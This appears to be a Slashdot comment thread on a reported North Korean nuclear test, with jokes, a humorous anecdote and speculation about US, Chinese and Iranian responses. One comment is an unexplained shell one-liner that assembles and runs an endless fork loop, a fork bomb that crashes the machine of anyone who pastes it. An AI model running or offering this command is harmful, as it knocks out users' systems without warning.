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North Korea Conducts Nuclear Test
viyh writes "North Korea conducted a nuclear test on Monday, South Korea's Yonhap news agency quoted a ruling party official as saying.
A magnitude 4.7 earthquake was recorded by the USGS in North Korea.
South Korean President Lee Myung-bak has called an emergency meeting of cabinet ministers over the test, Yonhap said."
i for one welcome our north korean overlords
Soooo ronery....
"I have never let my schooling interfere with my education." --Mark Twain
Its a fun clip that should give slashdot readers some smiles, but
the last line is haunting, "keep on throwing I dare you.. "
http://www.youtube.com/watch?v=NpF5-mBmI0c
Domestic spying is now "Benign Information Gathering"
Hee Hee! Shamonuh. Chickah chickah.
Sure, and now they can hug them with their nuclear arms.
I hear a rumour that the American government is working with Exxon and BP to fabricate geological evidence that North Korea possesses, or is about to discover, oil.
This could get nasty.
I'm not sure I get your point - I said that Iran's ideology is vastly different to our own, but that they run a functional government nonetheless.
An Iranian guy once told me a joke.
Mossad, the CIA and the Iranian Intelligence service decide to hold a contest. Each team must go out, wrestle bears and bring them back alive. The first team to come back is Mossad. They have one bear each, beaten unconscious and carried on their backs. All of the bears but one die over their injuries soon after they return. A bit later the CIA team come back. They have one bear tied up and hooded in a high tech cage they have presumably assembled from the contents of their packs.
There is a long wait. Mossad and the CIA decide the Iranians aren't coming back and start to pack up. Suddenly the Iranians return. They have a dear on a leash, looking very scared and clearly badly beaten. The dear says "I'm a bear! I'm a bear!"
I think that joke tells you a lot.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
I think the most likely scenario would be something like this:
USA: Bad NK! We are gonna invade! Booya!
China: If you do, we will demand you pay your debt to us.
USA: That would totally fsck our economy man!
China: So don't do it then.
USA: Lets get Iran! Booya!
Both [Pakistan and North Korea] have also had close ties with China - seen by many experts as a key exporter of nuclear and missile know-how.
The response (ie, the actions, not the words) of Russia and China will be an indication of where they actually do stand.
Personally I don't consider Kim Jong II to be a threat. He wants attention and respect. He won't attack unless he feels he has no other recourse. The major danger will come once his regime falls: what will replace it? It could be bad. Kim Jong is not insane as many people seem to believe.
Qxe4
Damn right so. Nuclear weapons seem to be great way for countries to make sure other countries arent going to attack them and that is probably why other countries are so afraid of North Korea having nukes. I really doubt they will use them for anything other than having them around for defence, because if they do there will be many countries attacking them and nuking the whole place to shit right away.
Its also a nice note that only US has so far used nukes against other countries and then they attack other countries making their own ones. quite a hypocrisy, would I say.